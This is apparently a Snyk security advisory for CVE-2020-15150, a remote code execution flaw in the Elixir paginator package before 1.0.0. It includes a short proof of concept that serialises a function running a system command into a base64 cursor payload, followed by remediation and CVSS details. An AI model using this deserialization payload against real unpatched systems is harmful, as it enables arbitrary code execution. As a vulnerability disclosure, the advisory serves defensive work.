Remote Code Execution (RCE)

Affecting paginator package, versions <1.0.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

paginator is a package that enables cursor-based pagination for Elixir Ecto.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via paginate() function when untrusted input is passed from a remote user.

PoC

defp rce_start_xcalc() do
    exploit = fn _, _ ->  System.cmd("xcalc", []); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end

Remediation

Upgrade paginator to version 1.0.0 or higher.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P
Credit
Peter Stöckli
CVE
CVE-2020-15150
CWE
CWE-94
Snyk ID
SNYK-HEX-PAGINATOR-1086684
Disclosed
18 Aug, 2020
Published
30 Mar, 2021